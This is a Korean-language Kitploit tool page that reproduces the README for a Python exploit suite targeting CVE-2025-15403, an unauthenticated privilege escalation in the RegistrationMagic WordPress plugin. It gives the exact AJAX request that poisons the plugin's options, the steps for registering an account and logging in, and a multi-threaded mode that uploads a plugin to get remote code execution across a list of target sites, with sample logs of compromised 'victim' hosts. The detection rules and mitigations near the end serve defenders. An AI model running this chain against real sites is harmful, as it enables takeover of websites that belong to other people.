Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-15403 — RegistrationMagic <= 6.0.7.1 - admin_order를 통한 인증되지 않은 권한 상승 | Kitploit
도구/GitHubGitHub/nxploited/cve-2025-15403
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRed TeamingPayload Development
GitHubnxploited/cve-2025-15403

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - admin_order를 통한 인증되지 않은 권한 상승

저장소 보기
14개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - 인증되지 않은 권한 상승 via admin_order

root@kitploit:~
 ,-. .   , ,--.     ,-.   ,-.  ,-.  ;--'      , ;--'   ,.  ,-.  ,--, 
/    |  /  |           ) /  /\    ) |        '| |     / | /  /\   /  
|    | /   |-   ---   /  | / |   /  `-.  ---  | `-.  '--| | / |  `.  
\    |/    |         /   \/  /  /      )      |    )    | \/  /    ) 
 `-' '     `--'     '--'  `-'  '--' `-'       ' `-'     '  `-'  `-'  

Telegram CVE CVSS Python License


📡 정보가 가장 먼저 떨어지는 곳입니다. Telegram에서 **@KNxploited**를 팔로우하세요 — 정밀한 CVE 공개, 작동하는 익스플로잇, 심층 취약점 연구. 뉴스를 기다리지 않고 만드는 사람들을 위한 채널입니다.


🧠 개요

CVE-2025-15403는 WordPress용 RegistrationMagic 플러그인의 CVSS 9.8 Critical 권한 상승 취약점입니다.

이 결함은 플러그인의 add_menu 함수에 존재하며, rm_user_exists AJAX 액션을 통해 인증 없이 접근할 수 있습니다. enable_admin_order=yes 플래그와 함께 order 매개변수에 빈 슬러그를 주입함으로써 공격자는 플러그인의 내부 메뉴 생성 로직을 조작합니다. 이후 관리자 메뉴가 빌드될 때, 플러그인은 대상 역할에 대해 add_cap('manage_options')를 무음으로 호출하여 모든 구독자 수준 계정을 완전한 관리자 권한으로 상승시킵니다.


💀 취약점 심층 분석

근본 원인은 add_menu 함수가 rm_user_exists를 통해 인증 없이 접근 가능하고, admin_order 슬러그의 유효성 검사가 전혀 없다는 점입니다:

root@kitploit:~
// 권한 확인 없이 등록됨
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);

public function rm_user_exists_handler() {
    $slug     = sanitize_text_field($_POST['rm_slug']);
    $order    = $_POST['order'];   // ← 사용자 제어, 검증되지 않음
    $role_key = /* POST에서 파생 */;
    $enable   = $_POST['enable_admin_order'];

    if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
        // 공격자가 제어한 order를 플러그인 옵션에 저장
        update_option('rm_admin_order', $order);  // 예: ",menu1" → 첫 번째 슬러그가 비어 있음
    }
}

// 나중에 관리자 메뉴가 빌드될 때...
public function add_menu() {
    $order = get_option('rm_admin_order');  // ← 공격자에 의해 오염됨
    $slugs = explode(',', $order);

    foreach ($slugs as $slug) {
        if (empty($slug)) {
            // 빈 슬러그는 무조건 권한 부여를 트리거함
            $role->add_cap('manage_options');  // ← 전체 관리자 권한 추가
        }
    }
}

이것이 중요한 이유:

  • wp_ajax_nopriv_* = 옵션을 오염시키는 데 인증이 전혀 필요 없음
  • order=,menu1의 빈 슬러그는 empty() 검사를 통과하여 add_cap('manage_options')를 트리거함
  • manage_options는 가장 높은 WordPress 권한 — 관리자와 동일
  • 기존의 모든 구독자 계정은 다음 관리자 메뉴 로드 시 즉시 전체 관리자 권한을 얻음
  • AJAX 단계는 사전 인증이 필요 없음 — 전체 체인의 장벽이 거의 없음

⚔️ 익스플로잇 체인

root@kitploit:~
╔══════════════════════════════════════════════════════════════════════════╗
║  1단계 — 인증되지 않은 옵션 오염                             ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-admin/admin-ajax.php

  action            = rm_user_exists
  rm_slug           = rm_options_admin_menu
  order             = ,menu1              ← 첫 번째 요소가 비어 있음 = 빈 슬러그
  _Subscriber       = 1                  ← 대상 역할 키
  restore           = false
  enable_admin_order= yes

응답: HTTP 200 (차단되지 않은 모든 응답 = 옵션 오염됨)

  ↓ 플러그인이 order=",menu1"을 wp_options에 저장함
  ↓ 다음 관리자 메뉴 빌드 시 Subscriber 역할에 add_cap('manage_options')가 트리거됨

╔══════════════════════════════════════════════════════════════════════════╗
║  2단계 — 계정 획득 (구독자)                             ║
╚══════════════════════════════════════════════════════════════════════════╝

옵션 A — 사이트의 등록 양식을 통해 등록 (모드 0):
  GET  /wp-login.php?action=register  → 스마트 폼 감지
  POST → 구독자 계정 생성
  자격 증명: NXploited / xplpass123

옵션 B — 기존 구독자 계정 사용.

╔══════════════════════════════════════════════════════════════════════════╗
║  3단계 — 로그인 + 권한 수확                                   ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-login.php
  log = NXploited
  pwd = xplpass123
  ↓
구독자 계정이 이제 manage_options를 보유함 → 전체 관리자 패널에 접근 가능

╔══════════════════════════════════════════════════════════════════════════╗
║  4단계 — 심층 확인 및 플러그인 업로드를 통한 RCE                    ║
╚══════════════════════════════════════════════════════════════════════════╝

GET  /wp-admin/                          → 관리자 대시보드 접근 가능 ✔️
GET  /wp-admin/plugin-install.php        → 플러그인 설치 페이지 접근 가능 ✔️
POST /wp-admin/update.php?action=upload-plugin
     pluginzip = Nxploited.zip           → 플러그인 업로드 및 실행 ✔️
GET  /wp-content/plugins/Nxploited/hello.php
     응답에 "Nxploited" 포함됨       → RCE 확인됨 ✔️

🎯 작동 모드

이 익스플로잇 스위트는 전체 공격 수명 주기를 포괄하는 세 가지 distinct 모드를 제공합니다:


⚙️ 요구사항

root@kitploit:~
pip install requests colorama urllib3

Python 3.8+ 필요. Python 3.10+ 권장 (X | Y 유니온 타입 힌트 사용).


📂 파일 구조

root@kitploit:~
CVE-2025-15403/
├── CVE-2025-15403.py                 # 메인 익스플로잇 스위트
├── list.txt                          # 대상 URL — 한 줄에 하나
│
├── rm_register_results.txt           # 모드 0: 성공한 등록
├── rm_exploit_results.txt            # 모드 1 & 2: 프리미티브 발사 로그
├── rm_admin_verify.txt               # 모드 2: 로그인 + 관리자 확인 로그
├── rm_plugin_uploads.txt             # 모드 2: 플러그인 업로드 시도 로그
│
├── rm_admin_dashboard_success.txt    # ✔ 관리자 대시보드가 확인된 사이트
├── rm_plugin_install_access.txt      # ✔ 플러그인 설치 페이지에 접근 가능한 사이트
└── rm_plugin_rce_success.txt         # ✔ 플러그인 업로드를 통한 RCE가 확인된 사이트

맨 아래의 세 _success 파일은 점진적 손상 수준을 나타냅니다 — 각 파일은 조건이 확인되는 즉시 독립적으로 기록됩니다.


🚀 사용법

1단계 — 대상 준비

list.txt를 생성하고 한 줄에 하나의 URL 또는 호스트 이름을 입력하세요:

root@kitploit:~
https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com

스키마가 없는 호스트 이름은 자동으로 https://가 접두사로 붙습니다. 하위 디렉토리 WordPress 설치(예: /wordpress)는 자동으로 감지 및 처리됩니다.


2단계 — 스위트 실행

root@kitploit:~
python CVE-2025-15403.py

모든 매개변수에 대해 대화형으로 프롬프트가 표시됩니다. 모드 2의 예시 세션:

root@kitploit:~
Select mode (0 = register, 1 = exploit, 2 = exploit+verify) [0]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 20
HTTP timeout (seconds) [10]: 12
Role key to escalate (e.g. _Subscriber, _Editor) [_Subscriber]: _Subscriber
Username to login with (e.g. NXploited) [NXploited]: NXploited
Password for that user [xplpass123]: xplpass123
Output file for admin verification [rm_admin_verify.txt]: rm_admin_verify.txt
Output file for plugin upload tests [rm_plugin_uploads.txt]: rm_plugin_uploads.txt
Send primitive before login in mode 2? (yes/no) [yes]: yes

3단계 — 실시간 출력 모니터링

root@kitploit:~
[14:31:01] info | Mode 2: Exploit + Login + Deep Verify | Targets: 200
[14:31:02] SESSION | https://target.com | PRIM: OK   | REG: SKIP | LOGIN: OK   | ACCESS: admin_full_plugin_upload
[14:31:03] SESSION | https://target2.com | PRIM: OK   | REG: SKIP | LOGIN: FAIL | ACCESS: bad_credentials
[14:31:04] SESSION | https://target3.com | PRIM: FAIL | REG: SKIP | LOGIN: -    | ACCESS: NO HIT

📊 출력 파일 참조

rm_admin_dashboard_success.txt

권한 상승 후 구독자 계정이 /wp-admin/에 성공적으로 접근한 사이트:

root@kitploit:~
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - ADMIN_DASHBOARD - verify_admin_dashboard

rm_plugin_install_access.txt

플러그인 설치 페이지에 접근 가능한 사이트 (manage_options 확인):

root@kitploit:~
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - PLUGIN_INSTALL_ACCESS=https://victim.com/wp-admin/plugin-install.php?tab=upload - plugin-install-access

rm_plugin_rce_success.txt

테스트 플러그인이 업로드되어 실행된 사이트 — RCE 확인됨:

root@kitploit:~
[2025-04-18 14:31:05] https://victim.com - NXploited:xplpass123 - PLUGIN_RCE=https://victim.com/wp-content/plugins/Nxploited/hello.php - AdminUpload

🖥️ 스크립트 매개변수 참조


🔬 확인 로직 (모드 2)

모드 2는 3단계 점진적 확인을 수행합니다 — 각 단계는 독립적이며 자체 결과 파일을 기록합니다:

root@kitploit:~
1단계 — 관리자 대시보드
  GET /wp-admin/
  GET /wp-admin/index.php
  GET /wp-admin/users.php
  확인: "dashboard", "adminmenu", "manage_options", "plugins.php"
  ✔ → rm_admin_dashboard_success.txt에 기록

2단계 — 플러그인 설치 페이지 접근
  GET /wp-admin/plugin-install.php
  GET /wp-admin/plugin-install.php?tab=upload
  확인: "upload-plugin", "plugin-upload-form", "pluginzip"
  ✔ → rm_plugin_install_access.txt에 기록

3단계 — 실제 플러그인 업로드 + 실행 (RCE 증명)
  플러그인 설치 페이지에서 _wpnonce 추출
  POST /wp-admin/update.php?action=upload-plugin
       pluginzip = Nxploited.zip (메모리 내 생성)
  GET  /wp-content/plugins/Nxploited/hello.php
  응답 본문에 "Nxploited"가 포함되어 있는지 확인
  ✔ → rm_plugin_rce_success.txt에 기록

통과하는 각 단계는 독립적으로 기록됩니다 — 1단계는 통과했지만 3단계는 통과하지 못한 대상도 rm_admin_dashboard_success.txt에 캡처됩니다.


🔍 스마트 등록 엔진 (모드 0)

모드 0은 사용자 정의 HTML 폼 파서를 사용하여 WordPress 등록 폼 — 사용자 정의 RegistrationMagic 폼을 포함하여 — 자동으로 감지하고 제출합니다:

root@kitploit:~
프로브 URL (순서대로):
  /wp-login.php?action=register
  /register/
  /signup/
  /wp-signup.php
  /wp-login.php

각 페이지에 대해:
  → 모든 <form> 요소 파싱
  → 각 폼 점수 매기기 (0–200점):
      +100  "user_login" + "user_email" 필드 존재
      + 60  이메일 + 사용자 이름 같은 필드 존재
      + 30  rm_* 접두사가 붙은 입력 필드 (RegistrationMagic 특정)
      + 20  폼 id/class에 "register" / "signup" 포함
      + 10  페이지 본문에 "register" / "sign up" 언급
  → 가장 높은 점수의 폼 제출 (임계값: 40+)
  → 응답 본문 / 리디렉션 URL을 통해 성공 확인

📊 탐지 시그니처

익스플로잇에 의해 생성된 네트워크 패턴 — 방어자 및 WAF/IDS 작성자용:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes

WAF / IDS 규칙 (의사 코드):

root@kitploit:~
IF  request.method == POST
AND request.path   == "/wp-admin/admin-ajax.php"
AND request.body   CONTAINS "rm_user_exists"
AND request.body   CONTAINS "rm_options_admin_menu"
AND request.body   CONTAINS "enable_admin_order=yes"
THEN BLOCK + ALERT (Privilege Escalation Attempt — CVE-2025-15403)

추가 탐지 — 옵션 오염:

root@kitploit:~
wp_options 테이블 모니터링:
  IF option_name = "rm_admin_order"
  AND option_value STARTS WITH ","
  THEN ALERT — 잠재적 CVE-2025-15403 악용

🛡️ 완화 및 수정

사이트 소유자, 개발자 또는 방어자인 경우 즉시 조치하십시오:

  • ✅ 업데이트 RegistrationMagic를 6.0.7.1 이상 버전으로
  • ✅ 패치된 버전이 확인될 때까지 플러그인을 비활성화 및 삭제
  • ✅ wp_options 테이블 감사 — rm_admin_order 값에 의심스러운 항목(예: ,로 시작)이 있는지 확인
  • ✅ 모든 WordPress 사용자 감사 — manage_options 권한이 있는 무단 계정을 제거하거나 강등
  • ✅ 모든 wp_ajax_nopriv_* 핸들러에 권한 검사 추가 — 옵션 쓰기 기능을 인증 없이 노출하지 마십시오
  • ✅ order 매개변수 유효성 검사 및 정리 — 빈 슬러그 세그먼트가 포함된 값 거부
  • ✅ WAF 수준에서 rm_options_admin_menu가 포함된 인증되지 않은 POST 요청을 차단
  • ✅ 인증되지 않은 소스의 rm_user_exists AJAX 액션 호출에 대한 WordPress 및 서버 로그 모니터링

⚠️ 면책 조항

root@kitploit:~
이 도구는 오직 교육, 승인된 침투 테스트 및 보안 연구 목적으로만 제공됩니다.

이 스크립트를 다운로드, 실행 또는 수정함으로써 귀하는 명시적으로 다음에 동의합니다:

  • 귀하는 테스트하는 모든 대상 시스템의 소유자로부터 명시적이고 서면으로 된 승인을 보유하고 있습니다.
    예외는 없습니다. 가정도 없습니다.

  • 귀하는 공식적으로 범위가 지정되고 승인된 침투 테스트 계약 또는 귀하가 소유한 통제된 실험실 환경 내에서 운영하고 있습니다.

  • 귀하는 문서화된 법적 허가 없이 어떤 시스템, 네트워크 또는 인프라에 대해서도 이 도구를 배포하지 않을 것입니다.

  • Nxploited 및 모든 기여자는 이 도구의 사용으로 인해 발생하는 무단 사용, 데이터 손실, 시스템 손상, 법적 절차 또는 형사 기소에 대해 어떠한 책임도 지지 않습니다.

이 익스플로잇을 무단으로 사용하는 것은 다음과 같은 법률에 따라 범죄 행위에 해당합니다:
  — 미국 컴퓨터 사기 및 남용 법(CFAA)
  — 영국 컴퓨터 남용 법(CMA)
  — 정보 시스템 공격에 관한 EU 지침 2013/40/EU
  — 사우디아라비아 사이버 범죄 방지 법(No. M/17)
  — 그리고 모든 동등한 국가 및 국제 사이버 범죄 법률.

책임감 있게 사용하십시오. 윤리적으로 해킹하십시오. 책임감 있게 공개하십시오.

👤 작성자

핸들Nxploited
Telegram@KNxploited
GitHubgithub.com/Nxploited

🔔 Telegram에서 @KNxploited를 팔로우하세요 최신 CVE. 작동하는 익스플로잇. 잡음 없음. 지연 없음. 진지한 연구자들이 날카로움을 유지하는 채널입니다.


Nxploited가 정밀하게 엔지니어링 · 승인된 보안 연구용 · CVSS 9.8 Critical
도구 다운로드
필드상세
CVE IDCVE-2025-15403
플러그인RegistrationMagic
슬러그registrationmagic / custom-registration-form-builder-with-submission-manager
영향 받는 버전6.0.7.1까지의 모든 버전
취약점 유형인증되지 않은 권한 상승
공격 요구사항AJAX 단계: 없음. 악용: 구독자 계정
공격 벡터네트워크
CVSS 3.1 점수9.8 CRITICAL
CVSS 벡터AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
영향전체 WordPress 관리자 권한 탈취
연구자Nxploited
모드이름설명
0등록 전용스마트 WordPress 폼 감지 + 구독자 계정 등록
1익스플로잇 전용인증되지 않은 AJAX 프리미티브를 발사하여 admin_order 오염
2익스플로잇 + 로그인 + 확인전체 체인: 프리미티브 → 로그인 → 관리자 대시보드 → 플러그인 설치 → RCE
종속성목적
requestsHTTP 세션, 쿠키 처리, 리디렉션 추적
colorama크로스 플랫폼 컬러 터미널 출력
urllib3자체 서명 인증서에 대한 SSL 경고 억제
concurrent.futures높은 처리량 다중 대상 스캔을 위한 스레드 풀
zipfileRCE 확인을 위한 메모리 내 테스트 플러그인 ZIP 생성
html.parser스마트 등록 폼 감지 및 필드 추출
색상태그의미
🔵 청록info정보 — 모드 시작, 구성
🟢 초록ok완전 성공 — 관리자 접근 또는 RCE 확인
🟡 노랑warn부분 결과 — 프리미티브는 성공했지만 로그인 실패 등
🔴 빨강err심각한 실패 — 파일 없음, 예외, 차단
매개변수기본값설명
모드0공격 모드: 0 = 등록, 1 = 익스플로잇, 2 = 전체 체인
대상 파일list.txt대상 URL이 포함된 파일
스레드5 (하드 최대 없음)동시 ThreadPoolExecutor 작업자
타임아웃10 초요청당 HTTP 타임아웃
역할 키_Subscriber상승시킬 WordPress 역할 (_Editor, _Author 등)
사용자 이름NXploited등록/로그인할 계정
비밀번호xplpass123계정의 비밀번호
프리미티브 전송yes모드 2에서 로그인 전 AJAX 단계를 발사할지 여부